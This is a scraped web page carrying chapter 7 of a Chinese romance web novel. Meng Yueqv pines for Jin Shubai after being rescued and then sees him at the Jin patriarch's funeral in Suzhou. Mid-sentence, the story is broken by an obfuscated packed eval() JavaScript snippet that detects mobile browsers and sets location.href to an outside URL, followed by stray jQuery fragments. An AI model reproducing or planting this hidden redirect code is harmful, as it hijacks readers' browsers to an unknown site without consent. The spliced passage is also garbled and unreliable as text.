默认冷灰
24号文字
方正启体

7. 游园梦

作者:清七对本书字数:K更新时间:
    这会儿起了风,孟月渠的长发被吹乱了,心......也挺乱的。


    他无言地看着身形挺拔高挑的靳述白,突然上前一步双手环住了男人腰身,毛茸茸的脑袋埋进只能达到的肩颈处。


    一股清爽的香水味沁入孟月渠的鼻子,他闭眼吸了吸,彷佛还在拳场那会儿让他安心的味道。


    这个举动让在场的所有人都愣住了,亨特更是嘴巴都张成了圆形。


    靳述白微微挑眉,任由这副柔软的躯体包裹着他。


    “谢谢你呀靳述白。”孟月渠超小声地说,有点贪恋男人的体温。


    “从我们见面你就一直在说谢谢。”靳述白说。


    孟月渠仰起了脸,由于哭过,他的眼睛依旧泛着红,长而卷曲的睫毛在眼尾上挑处湿湿的,眨巴相连看起来似故意勾引。


    “那我们多久还能再见面?”孟月渠问。


    “我记得我俩不熟。”靳述白垂眸,眼神玩味,又起了逗兔的心思。


    孟月渠眉头轻蹙。


    他俩是不熟,都没见过几面,连交流都不知道超没超过十句。


    “不熟你为什么要救我?”孟月渠不认同男人这句话。


    “某人跑过来就抓住我衣角不放。”靳述白说。


    “老大在说什么?”亨特不明所以地问魏巡。


    “别管。”魏巡冷淡地回。


    孟月渠一下放开了抱着靳述白的手,有些生气。他现在算是有些看清了,靳述白就是披着斯文温和的皮,内里其实就是一坏胚。


    他转身就走,走了几步又觉得不甘心。


    “你能再来听我唱戏吗?”孟月渠转头,眼眸饱含期待地问。如果靳述白敢拒绝,他决定以后以德报德,不会再有任何想法。


    “活着自然能来听的。”靳述白给了个模棱两可的回答。


    不再是不熟的拒绝,最起码有回应,孟月渠又不生气了,笑了笑。


    还是先继续喜欢着叭。


    孟月渠回到家缓了一个多月才慢慢走出在拳场所经历的阴影。


    几乎在出事的那一刻,孟家就收到了消息。滕孟两家自来不分彼此,在动用关系找人是滕家出力不少,至于后续的事儿不宜让孟月渠知道,所以两家一直将他蒙在鼓里。


    孟家虽说不爱挑起事端,秉着井水不犯河水佛系生活了近百年,不代表能骑到头上欺负。孟月渠身为家中幼子,被拐走当做利益供玩儿,那些人也不晓得做背调看看配不配绑。


    有滕孟两家助力,香港那边儿关于城寨的事儿靳述白倒也拿的轻松,也算是阴差阳错间走了个好运气。


    这一个多月孟月渠都在想靳述白,有几场戏外公叫他在家修养身体他都坚持上台唱完,为的就是那晚草草的约定。


    万一靳述白来听他唱戏怎么办?


    但靳述白一次也没来。


    就连孟家长辈专门为表达靳述白救出孟月渠和护送回家的谢意,靳述白都用“忙”的理由婉拒了。


    他没有靳述白的联系方式,不过他大概能想象出来靳述白到底会有多忙,自从认识男人之后,他明里暗里会去打听一些。


    除开滕匪先前交予他的资料,他知道了靳述白做什么生意,日常周转国家的是哪些,还有苏州并不是男人长居的地方,而是香港。


    可他又不想去香港。


    孟月渠坐在梳妆台前,黄花梨中静躺着那流光溢彩的凤冠点翠头面。他未束柔顺的长发,长睫低敛盖住忧思的眼眸,纤细手指轻抚头面上的翠鸟羽毛,活像思君忧愁的闺阁小姐。


    他卧室窗棂敞开,正对右院的花园小径,滕匪走进来就看见这一幕。


    扣了扣门,滕匪喊了声,“阿月。”


    孟月渠轻轻应,动作缓慢地合上黄花梨木盒,开始给自己编头发。


    “所有材料都在这里了,”滕匪说,“还有什么需要补充的你看了再给我说。”


    在香港出了这一档子事儿,孟家说什么也不让孟月渠到处乱跑,而他所写论文要找的不同戏种材料全权交给了滕匪。


    这一个月除开上课就是回家,要么就在外公的戏台去找师兄姐练曲儿。


    “谢谢你阿匪。”孟月渠说。


    “还跟我客气了?”滕匪听见这话心里突然有些不舒服。


    “在各个城市跑,很辛苦吧?”孟月渠杏眸微弯,浅棕色瞳仁明亮,双手握住滕匪的手臂晃了晃说。


    “还行。”手臂传来冰凉触感,滕匪反握,故意说,“跑城市不算个什么,就是不知道有些人心里想的到底是谁呢?”


    孟月渠怔然一瞬,很快说,“你呀。”


    “我?”滕匪自嘲地嗤了声,“你刚刚的样子活像林妹妹盼宝玉归,我是那‘宝玉’么?”


    “你这举的什么例子。”孟月渠嘟嘴,甩开他的手。


    “靳家老爷子去世了。”滕匪说。


    孟月渠顿住,倏地看向他。


    “靳家在香港的旁系都会回苏州,”滕匪慢慢地说,“参加老爷子的葬礼。”


    故而言之,靳述白也会回苏州,且必须回苏州。


    “老爸,带我去嘛去嘛。”孟月渠黏着老爸不放。


    “嘿,太阳打西边儿出来了,”老爸稀奇地说,“你不是最讨厌这种场合了么?”


    “我总该要见一见世面呀。”孟月渠说。


    “葬礼没意思,你就不去了,”老爸清楚小儿子品性,也不想让他去沾染葬礼的丧气,“我和你妈妈去,你在家待着玩儿。”


    “我不是小孩子了,”孟月渠启动终极秘技,撒娇,“我就撵你这一次路,你都不满足我吗老爸?”


    “小月他想去就带他去嘛,”老妈打圆场说,“去见识见识没什么的。”


    在软磨硬泡下老爸还是同意带他去了。


    按照生意上的来往,孟家和靳家仅仅只有很浅显的一条线,但就是这一条线,孟家还是得去参加靳老爷子的葬礼。


    先不说靳家后辈手段怎么样,老爷子高寿80,从民国时期让靳家屹立至今也是挺让人佩服的老者了。


    现在驾鹤西去,靳家要如何内斗一场尚未可知,不过必定争得头破血流。


    靳述白他们这一辈已经属于后辈中的后辈,孟月渠坐在车内天马行空的想,靳述白能争赢么?如果争不赢,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969952|177793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    按照电视剧中所演的豪门戏码,他到时候是不是可以帮靳述白一把?


    最好将自己的什么乱七八糟的股份全部赠予靳述白,让男人在一众继承人中独占鳌头。


    嗯,就这么愉快的决定了。


    孟总此刻不知道自己的棉袄已经漏风了,黑车长龙地停在庄园大门前,天上下起了阵雨,视觉间都灰蒙蒙的。


    孟月渠才下车滕匪将伞替他打好。


    来参加葬礼的人衣着黑色正装,滕匪和孟月渠也不例外,但两人硬是穿成了两种感觉。


    孟月渠的身段自小训练,柔软窈窕,尤其是那腰身曼丽纤细,虽身高在男生中欠佳,胜在比例好,整个人亭亭玉立,像笔直的青竹,自带江南水乡美人儿的柔情味儿。


    一进门,孟月渠就认出来佩戴白花戴孝的靳家人,他眼波流转,回顾周围没见着他想见的人。


    葬礼时间开始,教父站在台上念悼词。


    怎么还没来?


    孟月渠期待了一个月的见面,次次失落,好不容易能有个见面的机会,却还是见不到那个男人。


    滕匪看着他昳丽的眉宇间充满愁绪,和那林妹妹有什么两样?


    “我们今天,怀着无比沉痛——”


    门开,正厅的寂静涌入外面大雨滂沱的响声,所有人转头,视线投向那一束光。


    男人身穿黑色长款薄风衣,长腿大刀阔斧地走进来,卷起了风衣的衣摆,工装军靴的鞋底踩在瓷砖上发出一步一步的响声。他双手插兜,姿态高傲,黑色碎发凌乱地垂在额前,那双如鹰的黑眸深不见底,脸上还有一丝未干的血迹。


    孟月渠呼吸一紧,双手卷曲在膝盖上,靳述白经过他时,黑眸下瞥,精准无疑地盯到了他。


    仅此一秒,快到孟月渠还没反应过来,男人移开了视线,走路带起的风拂起他脸侧的发丝,擦肩而过。


    他轻轻地呼出一口气。


    孟月渠脸上的全部表情转换,尽数收进滕匪的眼里。


    整场葬礼的过程是非常无聊的,但孟月渠见到了靳述白勉强填补了无聊。


    祖父去世了他会不会难过呢,脸上为什么会有血呢,是发生什么事儿了吗?今天恐怕是没有机会说上话了。


    孟月渠一直这样想着葬礼结束,就在和老爸启程回家时,一道低沉的声音在身后响起,“孟伯父。”


    孟月渠背影一僵,转头,愣愣地看着男人朝这边走来。


    “小靳总?”老爸很讶异靳述白会喊他,正好借着机会当面说,“小月的事儿还没来得及说谢谢呢,你看你天天忙的。这次在苏州待几天啊,哪天有空我们正好一起吃顿饭。”


    靳述白脸上挂着温和的笑,与他一身的冷沉反差极大,“小事不足挂齿。”随后,他看向孟月渠,问,“有时间借一点陪我一会儿么?”


    孟月渠虽然脑袋还在思考嘴巴却已经快速回答说,“有的。”


    “没有。”生硬的男声介入,滕匪盯着靳述白,将孟月渠扯至身后,“他参加一下午的葬礼很累了,需要休息。”


    “没关系,”孟月渠像小猫探头一样探出脑袋,“我不累,有时间的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)